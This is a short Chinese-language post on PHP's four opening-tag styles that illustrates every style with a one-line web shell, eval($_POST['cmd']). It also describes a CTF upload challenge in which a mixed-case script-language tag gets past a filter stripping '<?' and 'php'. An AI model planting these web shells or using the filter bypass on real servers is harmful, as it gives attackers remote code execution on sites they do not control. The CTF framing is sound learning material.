PHP的標(biāo)識(shí)有哪些？

PHP四種標(biāo)記風(fēng)格

1.XML風(fēng)格

<?php eval($_POST['cmd']);   ?>

php推薦使用的標(biāo)記風(fēng)格。

服務(wù)器管理員無法禁用，所有服務(wù)器上均可使用該風(fēng)格。

2.腳本風(fēng)格

<script language="php">     eval($_POST['cmd']); </script>

默認(rèn)開啟，無法禁用

筆者曾遇到過一CTF題目，要求上傳shell，但是卻對(duì)文件內(nèi)容做了過濾 ，<? 以及 php，替換為了空格。此種風(fēng)格中，language的值，大小寫都可以，因此可以構(gòu)造如下代碼進(jìn)行繞過

<script language="PhP">     eval($_POST['cmd']); </script>

3.簡短風(fēng)格

<?      eval($_POST['cmd']); ?>

此種風(fēng)格需要在配置文件php.ini中啟用short_open_tage選項(xiàng)

此種風(fēng)格在許多環(huán)境中默認(rèn)是不支持的

4.ASP風(fēng)格

<%      eval($_POST['cmd']); %>

此種風(fēng)格需要在配置文件php.ini中啟用asp_tag選項(xiàng)

在默認(rèn)情況下是禁用的